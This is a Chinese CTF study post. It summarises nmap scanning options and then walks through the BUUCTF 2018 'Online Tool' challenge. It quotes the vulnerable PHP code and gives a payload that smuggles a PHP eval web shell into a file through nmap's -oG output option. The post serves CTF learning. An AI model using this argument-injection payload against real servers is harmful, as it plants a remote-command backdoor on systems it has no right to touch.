写在前面
最近做到了网鼎杯nmap 这样一道题 卡住了
正好一直想好好学一下nmap工具的使用 这里就好好总结一下
关于端口
常见操作指令
扫描常用参数
nmap -v ip 显示详细的扫描过程
nmap -p ip 扫描指定端口
nmap -A ip 全面扫描操作系统
nmap -sP ip 进行ping扫描主机存活
nmap -Pn/-P0 ip 禁ping扫描
nmap -sS ip 进行tcp syn扫描 也叫半开放扫描
nmap -sT ip 进行tcp连接扫描 (准确性高)
常见的几种状态
端口状态信息
open :端口开启
closed :端口关闭
filtered :端口被过滤,因为报文被防火墙拦截
Unfiltered :不确定端口是否开放 没有被过滤
open|filtered(closed|filtered) :不能确定端口是否开放(关闭)或者被过滤
nmap输出格式
将默认输出保存到文件:nmap -oN outputfile.txt ip
将结果保存为XML:nmap -oX outputfile.xml ip
为方便grep来保存格式:nmap -oG outputfile.txt ip
保存所有格式:nmap -oA outputfile ip
时间参数 -T[0-5]
T0-T2:串行扫描
T3-T5:并行扫描
关联参数:–scan-delay –max-scan-delay
注意点:T4,T5 的扫描时间间隔会小于 1s,所以可能对某些设置扫描时间间隔的系统会扫描失败
参数 -sn
nmap -sn <ip>
表示 “使用 ping 扫描来侦测存活的主机,而不进行端口扫描”
参数 -PP
Type字段换位13(时间戳请求)。当目标设备接收到了这个数据包之后,会给出一个Type 字段的值为14
的回应·数据包。利用这种扫描方式我们就可以知晓目标设备是否为活跃设备。
参数 -Pn
nmap -Pn <ip>
有时候对方主机开启了防火墙 ,可能过滤掉了你发送的 ICMP 协议数据包,这样如果想要使用 sn
参数来进行主机发现就不管用了,产生的结果也不可靠。于是你不得不使用 Pn 参数,它假设所有的目标 IP
均为存活,并一个一个主机的进行端口扫描,但这样会牺牲一些时间作为代价。
参数 -F 执行快速扫描
你可以使用“-F”选项执行一次快速扫描,仅扫描列在nmap-services文件中的端口而避开所有其它的端口。
限制扫描时间
nmap --host-timeout 时间 IP地址
限制每个 IP 地址的扫描时间(单位为秒),当要扫描大量的主机 IP 时这很有用。
[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
写入shell
可以用以下的姿势
nmap 127.0.0.1 <shell> -oG 1.php
payload
' <?php @eval($_POST["cmd"]);?> -oG 1.php '
但php7 貌似改了函数?
额 题是好题 只不过只在php5下能成功?
不过倒是提供了一些思路 也算缅怀一下古战场吧